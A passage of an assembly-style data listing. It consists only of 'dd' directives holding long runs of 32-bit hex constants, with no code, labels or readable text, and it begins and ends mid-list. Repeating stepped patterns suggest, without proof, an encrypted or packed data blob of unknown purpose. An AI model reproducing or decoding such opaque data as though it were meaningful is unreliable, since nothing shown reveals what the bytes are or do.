0D9534488h, 0D992513Ch dd 0F592740Fh, 0E9BC7D2Eh, 2BC0612Fh, 6CB5BBD0h, 30151B28h dd 0B390E227h, 0ABB469Dh, 0B98FE3F8h, 1C569FAEh, 0E3A94B2h dd 0C7361137h, 0C489748Eh, 4B2064A9h, 0C099B5B3h, 435710ACh dd 9ACB8EEDh, 1F161768h, 0BAEC42FDh, 2B940448h, 570E61C7h dd 9C25E41Eh, 0CFD6B26Ch, 0D2F2C0F6h, 2454C007h, 360AA482h dd 37E60127h, 3CC584FEh, 4A3A8CCh, 0DC20612Fh, 2F819DABh dd 0EA857DB2h, 0D9F00244h, 0B89CA55Ah, 0FEA3777Ch, 0FDE8703Bh dd 6CBE69F9h, 0CF4B428h, 1CC0854Eh, 52153B5Bh, 0A97082C3h dd 1314FD28h, 474E027h, 0C0160147h, 29D8748Eh, 8FDF9B55h dd 0F756C167h, 32EB44BEh, 0ADD8F0F9h, 63B72468h, 0BAEB52CDh dd 3A55FB48h, 85B0C203h, 0A35F1F40h, 4CFA8E18h, 3CEAC462h dd 2D18B492h, 9760A0E8h, 5C50FE1Ch, 38CB88A2h, 94669647h dd 0DC2050F7h, 16F89DABh, 31FFBB77h, 9AE572EDh, 0CDB17668h dd 0C645EB08h, 0FFC03273h, 0FC73D4FCh, 5CF8BC70h, 4C90E411h dd 3C80CA60h, 2C70B4F9h, 1C60A4E8h, 0C5094D8h, 0FC40AC6Dh dd 0EC3074B8h, 237332F9h, 0FA2B060Dh, 1059EF88h, 5785F4FCh dd 1123CA8Ah, 0BAC965CDh, 0E93F5648h, 6C86CF92h, 63CC61A1h dd 5A78D42Eh, 7080C408h, 591BDB97h, 7512F498h, 693CFDAEh dd 9D16E1AFh, 0AD5501D4h, 49DF34A8h, 0CC266FCAh, 8370C101h dd 0F033344Eh, 0F993452Ah, 0E9BD7516h, 16A24B2Ch, 1FC4975Dh dd 0FD4B274h, 4CE4B77Dh, 4EF4B764h, 2C1ED194h, 7D05D6ABh dd 6516F1ACh, 0FC01E1A4h, 8D5506FBh, 0B56601DCh, 0AD5D31F4h dd 0D26934F8h, 0EFF0751Fh, 0E881411Ah, 0E3A2443Dh, 0FB3612Bh dd 1EF3F479h, 39D4854Dh, 23FDB14Ah, 54D4A17Ch, 4811D18Ah dd 7912E7E8h, 5835E0B9h, 9D25F6A0h, 9E7374DCh, 0B95405CDh dd 0A07F3BCCh, 0CC6C21E0h, 0C2A3064Bh, 0F4935409h, 0C9D06037h dd 28B46D30h, 0DD58650h, 35E6E44Ch, 25C4B174h, 53D4A165h dd 5803CDABh, 7534C98Dh, 4A50F1B5h, 0B025E1BAh, 8D4216D1h dd 9B201DDAh, 0A55620FDh, 0C84121E4h, 0CE99460Ch, 0EF85501Dh dd 0E9971419h, 10A9423Ch, 16D9A75Dh, 39E7E44Dh, 20F9926Ch dd 51E9906Dh, 4937B49Dh, 780FE99Ch, 4435F8ADh, 9024EAA9h dd 0AB3035DDh, 0B97410CDh, 0A55624F5h, 0DD4E21E4h, 0ACB15115h dd 0C894412Fh, 0DCA0793Dh, 3DA87029h, 18D5B338h, 2FD2817Eh dd 4CFEBB71h, 6AF4A14Fh, 4503C69Dh, 6425CA87h, 69179499h dd 902FD2BCh, 0A55519CDh, 0AE4F02C6h, 0A56435F5h, 0BC412AE7h dd 0C8915B34h, 0EE824D24h, 0CDA96639h, 0CA14948h, 1BD59D6Eh dd 35E68267h, 390B174h, 7AEEA178h, 6115D891h, 7510D489h dd 0C11F3B6h, 9225F487h, 8F5F06E8h, 0DC5317CDh, 0AF7F26C8h dd 8F7337EDh, 0DE99724Ah, 0CCE0501Bh, 0E9B37B2Ah, 4EF3773Bh dd 18C89176h, 28C5B728h, 29FCBD5Eh, 4EF4B049h, 5805D691h dd 1C21D78Dh, 4A24F18Bh, 0A825E8A1h, 0EC5519D1h, 0B94508FBh dd 0B54354E8h, 0D16530FBh, 0C99D5D2Ch, 0F5A64B3Ch, 0E5847134h dd 29C06125h, 1CD19956h, 2BC58D7Eh, 25D6B257h, 6A80A164h dd 5904C691h, 7021C889h, 0C33FBB4h, 8829F69Fh, 805932DDh dd 0A86E64CDh, 0B97A30D9h, 0CE5030FBh, 0C0994211h, 0EF85430Dh dd 0E9BB7B0Ch, 88E0426h, 0DD5867Bh, 35E6815Ch, 290B174h dd 59F2877Ch, 7C15C099h, 7903CB9Ah, 4250E7ABh, 9932C7BCh dd 0BC5500D9h, 0B9430BDAh, 0B45527EBh, 0FF740A88h, 0D891510Ah dd 0FF85770Dh, 0E2BF7D2Ch, 3FB44A48h, 18D1914Ah, 39D3B14Dh dd 23E2846Ah, 4FF3A16Bh, 6104FAF8h, 7536D489h, 6A1FE3BDh dd 8823E19Bh, 0EC5E1BD1h, 0AC6F10E6h, 0A5563AFDh, 0F20021E4h dd 0C9807B0Ch, 0F3927406h, 0FFA3713Bh, 19AB6B1Ch, 18FEF456h dd 32C59467h, 38F3B14Bh, 3CEEAB61h, 5E20C0B6h, 7F05D087h dd 7E39C2ACh, 9021F1BCh, 835D11F5h, 92201DDAh, 0A96505ECh dd 0D2493DFAh, 0C1825B1Eh, 0F3895009h, 0E7BF4036h, 32C06A2Dh dd 5C2A34Ch, 35F6815Ch, 2DE5A06Ah, 51E58964h, 2C09C697h dd 490CD0BAh, 6333FDB6h, 8813E1ACh, 8B5E1DCAh, 0B2610BFCh dd 0B8433DEBh, 0DB6E2DFAh, 0EDA36378h, 0EE81503Bh, 8CA0612Ch dd 0FAF682Bh, 0FDF875Dh, 5CD48143h, 22FEBB7Bh, 3CF4A76Dh dd 4404D19Fh, 7E14D787h, 6131FAA1h, 993284ADh, 9F3002DBh dd 0DC440ACDh, 0A7733BEBh, 0F50030EDh, 0DE954016h, 0DF944106h dd 0E9A37B34h, 18AE6500h, 25B09154h, 2EC59046h, 0BE4B176h dd 53C3B06Dh, 4F15DA96h, 4F04C19Ch, 6924F5ACh, 882ECDC8h dd 895E06DDh, 0B9502BDCh, 851015F6h, 0CE6530E6h, 0E3845116h dd 0C98E4118h, 8C91782Ah, 19B46A01h, 18D59A4Ah, 38C1817Ah dd 29FCBD5Eh, 6AC48508h, 1F39E4B9h, 50248ADAh, 69029494h dd 932CC7AFh, 897B11CBh, 0B97264D1h, 0A9601BFFh, 0C5650FE6h dd 0ACB14C3Dh, 0CD87413Ah, 0F5A2712Dh, 9AC651Eh, 2DC8B15Dh dd 3BC5B628h, 1AE4B14Bh, 59F5A869h, 2C31CCBDh, 769697BEh dd 8706C2DAh, 0AE41EE1Ch, 0BA280647h, 0E350F157h, 89B54AEh dd 0EC5612DEh, 0B480CB2Eh, 0A73EB197h, 4853146Eh, 74025A58h dd 97F97938h, 34F12C03h, 0A490D418h, 3FA48885h, 291AB492h dd 7633F4B9h, 5C9C1FDDh, 0A8105043h, 0BE6134D2h, 0DAB59BFBh dd 4F1062A4h, 29FF484Ch, 0ACC60876h, 5FE8E0EBh, 0B7C481D5h dd 0B5F3047Eh, 4E2F452h, 5C92E418h, 1DC11093h, 6DD08462h dd 0ECF3AC92h, 120AF0E0h, 0EC56B88h, 7F40B2F4h, 3E03547Ch dd 452FA42Dh, 94CAA35Ah, 0EBC386ABh, 6D18CB4Bh, 931FDB97h dd 8CD0B1DCh, 75A85448h, 0E7B0F448h, 0D7A08EFCh, 24D0BED4h dd 3C90C408h, 4622B692h, 6C69CCE8h, 0C3A94D8h, 310D799h dd 0DA0B822Dh, 23793BA8h, 0FA2B120Dh, 0C8FFC188h, 0D07DBF09h dd 7FE0127Dh, 8C459954h, 7FC03258h, 93E3A3E9h, 0BE256FFAh dd 0C190E223h, 3CA73F87h, 0D35B5CF8h, 99EB5B17h, 0C66AF22h dd 0D4080B45h, 0F6D874B8h, 57DF9B57h, 0FA2BB21Dh, 0F38FC988h dd 44F03450h, 631FDB61h, 0B73A91D3h, 0BC45047Eh, 0E33DD44Ch dd 5CA0CC74h, 0B36E20F0h, 0CE054FF7h, 0A97082C3h, 916BD028h dd 0C78FD57h, 29F6CC8h, 2BBB8B47h, 3475A7F7h, 0CC105498h dd 0ACEDC5D5h, 9FF00263h, 165A9A1h, 0DDD02246h, 2C91551Ch dd 0F94FA569h, 5C96DF5Ah, 0B3B4D09Fh, 0ABB829Dh, 28B2E9F8h dd 1C88F1E8h, 515094D8h dd 0E77F6949h, 135A748Eh, 0C72AF125h, 9E4054AEh, 0BC246445h dd 68733452h, 19274264h, 8CE60F08h, 0F9072485h, 6C86EF6Ah dd 5C8AE40Ch, 56FA1745h, 3C892C50h, 6EFDB4F8h, 0D59E0E89h dd 659364ADh, 0CA7CE45Dh, 0E4B471B8h, 49A926A0h, 0CC2668F8h dd 0E9C3A67Fh, 0ACF03490h, 71617968h, 8CE60FC1h, 40A499C3h dd 1033F40Eh, 53A0EC0Ch, 4C906D9Ch, 346C4508h, 7870B4FAh dd 1C61A080h, 96C56BD8h, 7740B2F3h, 0C8B4F944h, 0DC2065ACh dd 24103EC8h, 0BC00448Ch, 0ACA2662Eh, 0A75DB3Fh, 0BFD02263h dd 78578981h, 3DB0F439h, 0DA28E79h, 4CF8D572h, 6EC0C408h dd 17122107h, 99F6A4DEh, 5C0BE02Eh, 0FD44EC9Ch, 136774B8h dd 0DE00401Ch, 59EF5498h, 0BC3678CAh, 0D830B121h, 0CCF4C77Eh dd 8CBAC0D3h, 2A97551Ah, 576A61C7h, 0D9F9E41Eh, 1A40A1D8h dd 7C651F7h, 7BFDB4CEh, 7637F6ACh, 9BDDCC9Ch, 0FC4085CCh dd 86F04713h, 77D33DB8h, 9C4004C8h, 0EE5014D8h, 979AA187h dd 5861245Eh, 8CD01650h, 74E470B7h, 508261C7h, 0A3F3E41Eh dd 7AACE68Dh, 38429908h, 264E34F8h, 9726A59Dh, 3A45EC55h dd 715967C8h, 0DA20742Dh, 8AF167A8h, 0C948667h, 0BD1FCC87h dd 28FF3478h, 9CE02578h, 0F9EA2AD8h, 42404258h, 6D34FB38h dd 0DCA0E429h, 0BDE5F426h, 6CBE454Eh, 5937FAB1h, 0DAAF2FAAh dd 271F959Eh, 0FC2AD506h, 136322E9h, 0EA1C4E3Dh, 0D2B0D98h dd 0BCDFC187h, 297D3478h, 9CD63AF9h, 80B81432h, 2CC00448h dd 46250B6Bh, 61A0D214h, 4C90D414h, 3C3F4107h, 9D99B4F8h dd 9D60A4E8h, 4502C4E6h, 59C58B9Eh, 6F3074B8h, 0E08C6C6Eh dd 55945B95h, 80004488h, 34158h, 19EF1E54h, 8CD014D4h dd 5CE009E5h, 4D8DD418h, 29D4814Fh, 6CAC7867h, 4201B87Dh dd 58189407h, 9D11D19Ch, 362097A6h, 9435ABE7h, 0ECCF337Eh dd 0CC9A55A7h, 3B1054BFh, 29FF166Ah, 0ACC60FB2h, 0CCB0E45Bh dd 85384408h, 38C00448h, 0DE8357h, 5CC48547h, 70AA41E7h dd 0FC05C43Eh, 0E543828Ch, 20042161h, 640194EEh, 7C4086C8h dd 0BC6625E9h, 0E01EF157h, 599D54AEh, 0BC365F1Bh, 0F8390728h dd 0CDB27439h, 0FE45EB09h, 0FBC03273h, 0F94FD03Ch, 5C96DF6Eh dd 0C11017E0h, 3CB6D163h, 46B34DF9h, 0E361CEE9h, 8236BEBh dd 41C09137h, 0EC0634B0h, 597E10A9h, 0FF4A2058h, 0FD0CF53h dd 90A03773h, 815791E5h, 365B146Eh, 7CC00544h, 6DB87EB3h dd 0A4A3E428h, 0C7F01F33h, 5D2637C3h, 0CE37B18Ch, 9F4E4F1Dh dd 87039B1Fh, 28CBD304h, 0AC5A20E8h, 234A36F9h, 0F016C167h dd 318B44BEh, 0ACC60F02h, 0B7ECE0EBh, 8B399797h, 7CAA038Fh dd 2339F4D0h, 13F3272Bh, 0DC7805Eh, 71DC815Ah, 4302D791h dd 6806CB9Bh, 6239C384h, 8F37EBACh, 9E4537E4h, 0A84E01DAh dd 0BF6231CEh, 0E06E2BE1h, 0C0804C3Dh, 0EE855607h, 0FEB14058h dd 34B4612Fh, 6CC48757h, 0CA0E42Ah, 4C90D418h, 58E3B661h dd 4919CED6h, 70108A8Eh, 4F19DAD8h, 9D2EA483h, 844604D5h dd 892A03DDh, 0EC4211CBh, 0F54F0EE4h, 0DAD61436h, 0E9945601h dd 8C384152h, 21C00448h, 721319B9h, 0D966E41Eh, 4CA6C173h dd 0A2153B08h, 0ED7082C3h, 2014BB00h, 0B9DB8AB2h, 0FC76BF9Eh dd 0C20CD8E1h, 5D464EDDh, 0B90DABA6h, 0E6BDC9ABh, 27F00244h dd 39B7261Eh, 95DB13Eh, 7CF63399h, 5B4771B7h, 0D55AE41Eh dd 21C2E5Eh, 3D313FF6h, 4D9B7B1Ah, 0E39BBB00h, 282C1727h dd 0A93580C0h, 0AC38F17Eh, 3420649Eh, 0CC105490h, 924302DBh dd 0ACBC783Ch, 0A74AB197h, 4CDB146Eh, 1653133Ch, 0F94FA73Ah dd 5C96DF7Ah, 44E4149Dh, 7C8841F6h, 0FC8FB4CEh, 0E2E44C7Bh dd 7B86B27h, 0AF4084C8h, 0A36F37FEh, 90644AFBh, 59EF54D4h dd 0BC367F22h, 530E5D90h, 690ECC97h, 12FEBA7h, 7CF61699h dd 0E93D3D0Bh, 5C96A42Ch, 1DC18549h, 6DD19558h, 17D62107h dd 1788A4DEh, 595094D8h, 0CF12C19Bh, 0A0745A8Ah, 49DF64E4h dd 0CC266F32h, 0BC004E60h, 0DC834378h, 0E88E4D1Ah, 0DCD0553Eh dd 479291B7h, 0E939F40Eh, 5C96DF72h, 0C11DE517h, 3CB6DD79h dd 10103171h, 0E331A4DEh, 3A6B3E4Dh, 0F82817C8h, 613074B8h dd 0EA391A1Dh, 719D0D98h, 0BC3678CEh, 53059B90h, 19274297h dd 8CE60A32h, 0D9435448h, 6C86EA54h, 76356928h, 1C90E206h dd 5681AE5Ch, 2E18E6F8h, 0E3E0A4E8h, 3A6CDE4Dh, 0A68001C8h dd 61BD56CDh, 0DC167AF5h, 41163ECAh, 8A1E2E3Dh, 0FCA66078h dd 63B27538h, 0BAEC5ACDh, 0E93F5C48h, 6C86C87Eh, 62C761EEh dd 0A490D42Eh, 3C80C404h, 6F3FE7AFh, 325297A3h, 0C1CD89Ch dd 0C7EA1137h, 84A3748Eh, 0DC2064AFh, 0D4C5E115h, 315944BEh dd 9ACC22C5h, 69CACC68h, 8038EBA7h, 2BC00448h, 22F9BA71h dd 188EB06Dh, 0B3909854h, 0ABB6E9Dh, 23B031F8h, 1C62916Ch dd 93807D8h, 714084C8h, 0DA29670Dh, 61AD3DA8h, 0CC2668AAh dd 43F4B760h, 9A4DB787h, 9CE01254h, 8EC09057h, 90410448h dd 6CB0F5A8h, 5DA18C7Ch, 0D96FD418h, 3CB6F81Eh, 2DE07079h dd 9730A4E8h, 5E50FE0Ch, 0C0761137h, 2CB5748Eh, 0B42D11F1h dd 0CC104710h, 87CAD177h, 4E1B344Eh, 828C99EBh, 0F9D0146Eh dd 0C458961h, 3CB0C226h, 608271D7h, 8C15D42Eh, 3D094007h dd 6CFBB4F8h, 0E3602FE4h, 60D51BE8h, 3A40B2D6h, 0DA0E133Dh dd 0DC4A65A8h, 0CE7A55F2h, 802ED177h, 5473344Eh, 0FC642B97h dd 1FD01459h, 62A891C5h, 7CDAF40Eh, 0C95FB77Ah, 4CA6E806h dd 0B98F048Dh, 2C70B5B8h, 2E21965h, 4E194EEh, 3BAAD20h dd 0ECA41C47h, 0F77E64A8h, 0E824DD7Eh, 1E95BBDCh, 21F00243h dd 0AAFEB4D5h, 64D1A558h, 833FFE42h, 72CD61B5h, 5CCAE41Eh dd 4C90C070h, 0C3D39608h, 1A4C9E6Dh, 382429E8h, 8C519CCh dd 0AC40B288h, 673AC2B7h, 1D3440ECh, 86125C78h, 0BE4A5689h dd 0A7F37E6Ah, 1CE8002Ch, 6C111BB9h, 38CB5540h, 5E4FE41Ch dd 341D6978h, 0A490E224h, 3C80C414h, 54469ADDh, 32408AC8h dd 2975AEF8h, 8478AAEDh, 0C9100C9Dh, 936A6EDBh, 0CC301AD1h dd 0E695BBDFh, 2DF00243h, 9CE088ACh, 0DCD07E58h, 0E93F571Fh dd 6C86C812h, 492469A3h, 4CFAD42Eh, 0F5EBDFEBh, 2998E5F5h dd 3A60A4E8h, 0C5AF0FDh, 0A6D57B9Fh, 6F304283h, 3770686Ch dd 0CC173C93h, 18D4488h, 0ACC62AEEh, 91F773Fh, 8CE62872h dd 28BEC4CDh, 50D841B5h, 0F923E41Eh, 4CA6C19Ch, 5B0D4908h dd 77082C6h, 4D60CE26h, 99AFC78Eh, 0FC76B8EEh, 92308C3Bh dd 22ABF587h, 0F078E115h, 0B1B044BEh, 0BC859A8Ah, 66F7CC08h dd 0FEB1EBA7h, 0F1C9E75Fh, 865BF54Fh, 928B2BA3h, 70F86995h dd 9873C43Eh, 959B437Fh, 6F55BBBh, 8C50A2E4h, 0CA55EF75h dd 0C64475B8h, 0DC5554C0h, 685AB98h, 3C0072B3h, 9ACE53C5h dd 8D942468h, 92BC919Fh, 7CC0047Eh, 0E976F438h, 5C96DA4Fh dd 0B2983D18h, 0B9473BF7h, 2C46A18Ch, 9C60A4E8h, 0C545685h dd 0DC0F8EC5h, 825F1BD6h, 0FC460B88h, 0A9763DF4h, 9C4F64A9h dd 0C99D5D0Ch, 0BC8F5048h, 0E9BC713Bh, 8A1762Ah, 66BDD55Dh dd 7C80C408h, 3FB09B38h, 59EDA97Dh, 4D17948Ah, 7205C09Ah dd 5E5A99F9h, 9225E8ADh, 9F5518CCh, 0FC5908DBh, 0BC6035F0h dd 0D26164F1h, 0D495141Ch, 0E8834118h, 0A0A47A39h, 1DB47768h dd 2D99056h, 7180DE4Fh, 2DC7DE15h, 55E8A77Ch, 4D50D396h dd 7840C884h, 6D70EDB9h dd 9260E0A6h, 985813D1h, 0B3464484h, 0BE7674EAh, 0D86E21E1h dd 8CB9140Bh, 0E889451Fh, 0DBDA1962h, 19B26120h, 9C29518h dd 29CF9D08h, 3EF6F434h, 58EEA161h, 6F508B8Bh, 3D05C987h dd 2C24DDF8h, 8860F7A1h, 0CD5519D1h, 0FB542D88h, 0AD7C74EBh dd 0B82121FCh, 0AFC0F3FCh, 34AFF012h, 0A59CB6F9h, 7CD0A25Ch dd 0C3786BF4h, 0C08A57h, 9C52B8D4h, 1C39E66Ch, 2C6ED7BBh dd 1C60A4E8h, 0C5094D8h, 0FC4084C8h, 0EC3074B8h, 0DC2064A8h dd 0CC105498h, 0BC004488h, 0ACF03478h, 9CE02468h, 8CD01458h dd 7CC00448h, 6CB0F438h, 5CA0E428h, 4C90D418h, 3C80C408h dd 2C70B4F8h, 1C60A4E8h, 0C5094D8h, 0FC4084C8h, 0EC3074B8h dd 0DC2064A8h, 43105498h, 0DCC72C10h, 932491FBh, 1FE0245Eh dd 0BAEFCCFDh, 0CBCF0448h, 3F3DE07Bh, 1717EB30h, 0C740D71Eh dd 17A4E04Ch, 3502B8BAh, 6F68E6D3h, 18121FCCh, 754CC6E3h dd 0DA0FA02Dh, 4A5EDA8h, 271062A7h, 94C2C78Dh, 6E91ED9Ah dd 1968246Ch, 8CE6303Eh, 7CC060A0h, 6C909C38h, 0D92DE428h dd 4CA6F78Bh, 4898FD51h, 28B037F4h, 999F530Ah, 0C66AB6Ch dd 0FF99730Bh, 0DA141235h, 233087A8h, 0CC9FA8E8h, 5E04AC0Bh dd 3F6DBD8Eh, 1FE0124Bh, 89A41462h, 0EC33663h, 90FE7928h dd 0DFFEBF70h, 48E4D422h, 3F6BF6F7h, 0C460C607h, 0E39F5BBFh dd 817B5AF3h, 0FC76BB10h, 0D87B77E0h, 64A5EB6Bh, 0B1062A7h dd 8A3FF00Dh, 0ACF03478h, 9CDCCC68h, 95B1458h, 7CF63BFCh dd 934662D0h, 5CB80CD7h, 0F113D418h, 3CB6FBBCh, 0A578C1F8h dd 2A44AB75h, 0F3CC7FD8h, 0CA7F3045h, 69BFB7B8h, 0DC165B10h dd 0F3A4C111h, 0BFE844BEh, 9FF03478h, 0F6BE7A1h, 8CD014D8h dd 822DEC1Ah, 0F9B30BC7h, 5C96DBF0h, 3613021Bh, 0B88FC404h dd 2C70B5FFh, 1C70DE6Bh, 0CAD10D7h, 0BECB84C8h, 24D824B4h dd 0DFDF9B56h, 0FA2F8C1Dh, 0ECC64788h, 55703CF2h, 1CF95068h dd 8FA43AA1h, 0F731EF08h, 8D31F570h, 837F3BF7h, 0D42D99h dd 0D0F5C444h, 0AFB89FA1h, 936F5E11h, 0C50946Fh, 23805AEh dd 693F468Bh, 0DC206403h, 0CC2AD7CEh, 0F68B41FDh, 27F2DF68h dd 0CD112762h, 732E66B0h, 0A47507B7h, 0C1B0C207h, 0A7D824ADh dd 4C145017h, 897FC408h, 2C468B20h, 0E2354CB8h, 89536B27h dd 0FC76BB10h, 0D3E8F137h, 0D823649Eh, 0C9307BCh, 0B3DB778Ah dd 0BE133CCEh, 0CFC0EDE8h, 88F43099h, 55E41861h, 2CEBD034h dd 0A7210DC3h, 912B0317h, 0C701FA7Ch, 0F71EF150h, 0E7E1929Ch dd 0F3F1AF81h, 7C1AABCh, 4085566Eh, 27A142DCh, 3F48BD0Bh dd 47815AFCh, 5FA8DD05h, 6761321Ch, 6DF52B1Eh, 87410A3Ch dd 8D95CB08h, 0C95FE25Ch, 4CA6EBA0h, 0C3F12D53h, 0AF2E4B07h dd 0F389B02Ah, 0CFAF6B26h, 0A444EEC9h, 13C54250h, 9CB5EC57h dd 0AA1062BEh, 0BE187530h, 0AF14F49Ah, 3786C66Ah, 64881232h dd 833FF153h, 0EBB836BBh, 4A58EF9h, 0B365DAF0h, 3F7A44F7h dd 7CC0BF8Bh, 3A2021EAh, 0E7FA94EEh, 0A428EEEFh, 0EFCAF412h dd 0CD907CDDh, 33E4BA70h, 0BC01FC77h, 7E743478h, 7C31291Ch dd 7A3BDEA6h, 7C7801A3h, 0C730F438h, 0D1635BCAh, 7AA8648Dh dd 0CB57EF08h, 0A9877722h, 1C569C4Dh, 45094D8h, 3D8011C7h dd 69C67F58h, 0DC165C0Bh, 0AA162199h, 5725CD85h, 0F75C26Bh dd 9EE01250h, 81B6122Dh, 782B2179h, 49B1F95Eh, 0E0484F4Eh dd 0C76F2BE7h, 0A909F04Bh, 2C468B34h, 99976743h, 0C66AC7Dh dd 0F44084C8h, 0E8F0E1B7h, 40C8CE14h, 45EFAB67h, 8A3F941Dh dd 0F75C278h, 9DE01250h, 0BDDF102Dh, 0BCEB06A3h, 0E9473793h dd 5C96DC8Dh, 4490D418h, 0B90AE37Ch, 2C468C67h, 7A6B4429h dd 6A151FD5h, 56B83463h, 0D4AFF132h, 3CE1649Eh, 0A8775183h dd 8FAB4201h, 475B52B8h, 13849C7Ah, 67B145Dh, 4AF89BCDh dd 0ADE8F038h, 9F0BFCC8h, 6C7B28A8h, 3C6B7C6Eh, 359B1F9Eh dd 0F438A082h, 0F3AF6727h, 3D928045h, 0E9567C58h, 7746A421h dd 5CA05773h, 0E4022E22h, 5303D290h, 0E832A097h, 0D4D87E6Ah dd 8333DEA0h, 1E7A0AC7h, 0A26590EBh, 0B259A0D2h, 0C25BB0C2h dd 0D27CC032h, 0E26CD022h, 0BC5CE012h, 4C8D6F31h, 5CF99F45h dd 6CE58F5Dh, 0FD1BF60h, 84B0F905h, 2907344Eh, 9CD61CCDh dd 0CD01458h, 1C70073Ch, 0C9350392h, 5CA0D210h, 3898D418h dd 0B7D57C0Fh, 63DBB414h, 24C5211Fh, 0C5394EEh, 784F85C8h dd 0EC30746Fh, 778A8C18h, 0F3ACE911h, 54B044BEh, 11799FD2h dd 9CD61BA8h, 0B47591AFh, 7CC3047Eh, 79C4F438h, 640561DFh dd 4C90D42Eh, 39F4C508h, 0D38E7510h, 0B6891417h, 0B0D51F73h dd 7740B2F7h, 65F85F77h, 0EA1FA015h, 3058DD98h, 43642330h dd 6CC39F4Eh, 19178F0Eh, 8CE62CFDh, 7CC0044Bh, 0E946FA4Ch dd 5C96DC8Bh, 0A495A098h, 0C37F3A4Ah, 0A514D340h, 0DC530FCEh dd 89A73FBEh, 0FC76BC6Dh, 0EC3074BBh, 59D631DCh, 0CC266C3Bh dd 54053108h, 530FCA66h, 631D8080h, 64F0A4A7h, 833FFFFEh dd 0D4D6CDDBh, 0F7C6F1D7h, 0D91B7F89h, 3CB6FCADh, 0EE87660Fh dd 1C60A4EBh, 72B880ADh, 4CBF7B35h, 17A09CA7h, 64469B57h dd 67764167h, 738BEF19h, 9334B1F3h, 54CB245Eh, 7B2C5CD1h dd 4AF8A1CDh, 6CB0F738h, 0AB8E9028h, 7AA8719Dh, 3C80C408h dd 0DB52C0FEh, 2A58016Dh, 0C5094D8h, 1445F1C9h, 13CF894Ah dd 0E485E15Fh, 0CC1054AEh, 0B9744088h, 530E3990h, 3965D397h dd 88D02260h, 8C00448h, 92D71C2Fh, 75181BD7h, 0E7582AD8h dd 4840CCB0h, 59C81FFCh, 0B7074F10h, 34F5112Fh, 0FC4884FEh dd 0A34574B8h, 0E483D928h, 0B81054AEh, 423BACCEh, 8548CB87h dd 96290D70h, 0BAE88BFDh, 7F24C448h, 542F5132h, 0EC0BE41Eh dd 0C91A7EA9h, 3CB6FCABh, 26300452h, 2A583B6Dh, 0B4363ED8h dd 79B7792Ah, 0EC064C1Dh, 0DC2064B8h, 85A053ECh, 0C9B82222h dd 1C5B5284h, 5CD38E80h, 246D9DF3h, 8BC03277h, 5A8851BDh dd 5CA0C428h, 0FC99A118h, 0A105CE50h, 867082C0h, 0DCE11C8Eh dd 34F5112Fh, 0FC0084FEh, 0EF4474B8h, 0D608A028h, 0FA28C93Dh dd 35AB2288h, 9ACF98C5h, 19178F68h, 8CE62CFDh, 3CC00448h dd 3C00FD4Dh, 643D612Ah, 0BB3AD42Eh, 0AB8618Dh, 2C7034F8h dd 0AC6BD1E8h, 92D59E60h, 5640B2F0h, 54564953h, 59D77C99h dd 0CC266C3Dh, 0BC004588h, 8540360Ch, 0A47E8162h, 6810146Eh dd 0E2650E4Bh, 0AB0C200h, 0DD188283h, 0E91523E8h, 3C80F230h dd 5970B4FAh, 16A810EAh, 3A680A7Dh, 75EBE2C8h, 0DA0FBC05h dd 0F490DCA8h, 3BBB5498h, 8A38E10Dh, 0ACF03C78h, 74915068h dd 732FE969h, 446581BFh, 68B0F40Eh, 57D5E428h, 0C99A6CA8h dd 3CB6FC97h, 0DB3D5F52h, 2A58016Dh, 0C5894D8h, 9A51F1C8h dd 0E6D0F700h, 0EA18FB0Dh, 0FFBB3298h, 0A9EBEE48h, 0B4D98C1Eh dd 0A47F8162h, 6810146Eh, 0E3650E4Bh, 0AB0C200h, 0F9251383h dd 4C90E220h, 5A80C418h, 58B03540h, 14A424EBh, 34CF31D2h dd 572684FEh, 4FB5C2B7h, 77205290h, 33EC9470h, 1985B377h dd 0ACF00240h, 0E8A02468h, 8E80A451h, 4AF899CDh, 0E9475E38h dd 5C96DC8Dh, 4C90F418h, 3EF542B8h, 63FDB0FCh, 81C52E16h dd 8550A2E0h, 0CA7F3445h, 6C9B12B8h, 0DB556154h, 83905428h dd 54AA0477h, 530FC801h, 0A445A19Fh, 0CCD0146Eh, 0C4A60448h dd 6EC5C55Eh, 0F7C6CD9Ch, 0C99ACCA8h, 3CB6FC97h, 86735438h dd 0E39CF000h, 0FBD82427h dd 0CA78214Dh, 0ECB074B8h, 6C2211A8h, 51B5DE1Eh, 0DA0072B0h dd 0A90CB4D3h, 9C50231Dh, 0CC2F5BD8h, 80EBECE2h, 0E9470BC7h dd 5C96DC8Dh, 4C91D418h, 7C30CF7Dh, 14ED31F2h, 0F7CAA4DEh dd 8FE8F2D7h, 61E58E08h, 8A304280h, 7621D403h, 0F4B5D16Fh dd 0BC0044BEh, 8385347Ah, 0A445A19Fh, 8CD0146Eh, 66B5044Ch dd 0E9BA3488h, 5C96DCB7h, 74347192h, 0DC41C43Eh, 4AC8D2E8h dd 1CD00F69h, 4CE09C33h, 0C4DF01C2h, 1B9A748Eh, 0EA18C12Dh dd 0C4105498h, 0DA103188h, 0A618B7C0h, 0AAD8BACDh, 3C7B7258h dd 0CCC8EF49h, 0F235FE70h, 0F6A0D210h, 743551EFh, 3C80C43Eh dd 59C1B4E8h, 0A406819Dh, 0A95A6C5Bh, 0FC76BC56h, 2C03DFDEh dd 6C9D4D02h, 3B1062A7h, 8A38E10Dh, 8CF03478h, 2DFF5168h dd 0EACBFF2Fh, 76D80DF0h, 5A886A9Dh, 5F442428h, 740E7112h dd 97E6C43Eh, 13C009D1h, 0DDEAA4DEh, 33E03152h, 572684FEh dd 69322C08h, 0DC165C35h, 6995A332h, 0BF0072B0h, 0D8F13478h dd 3965D34Ah, 8CD02260h, 9C40448h, 0C935032Eh, 5CA0D210h dd 3993D418h, 0C6042C0Dh, 87984B07h, 0EB9F5B12h, 3A68315Dh dd 0FC4084C8h, 5C3300B0h, 59D7CE61h, 0CC266C3Dh, 3C004488h dd 0AB40140Ch, 0A47DA142h, 6C11146Eh, 74490952h, 0C9B2F41Ch dd 5C96DCB5h, 0CC9330D8h, 8C2BC0CCh, 94161E99h, 0B96A4417h dd 0C66AC45h, 79B72FAEh, 0EC064C1Dh, 0DC206488h, 49E707ECh dd 0BC367C2Dh, 8CF03478h, 5B17291Ch, 8CD0145Bh, 0EC70013Ch dd 0E7431F92h, 0F42D6FEFh, 6790E227h, 0C0C14DC9h, 0A97AEC48h dd 1C569C75h, 0A9D56372h, 0FC40B2F0h, 983034B8h, 8C9802A4h dd 51955E5Bh, 570072B0h, 53485272h, 1452E88h, 0EAD02260h dd 0D945F3E3h, 6FB0C200h, 28A1E428h, 0E915236Bh, 3C80F230h dd 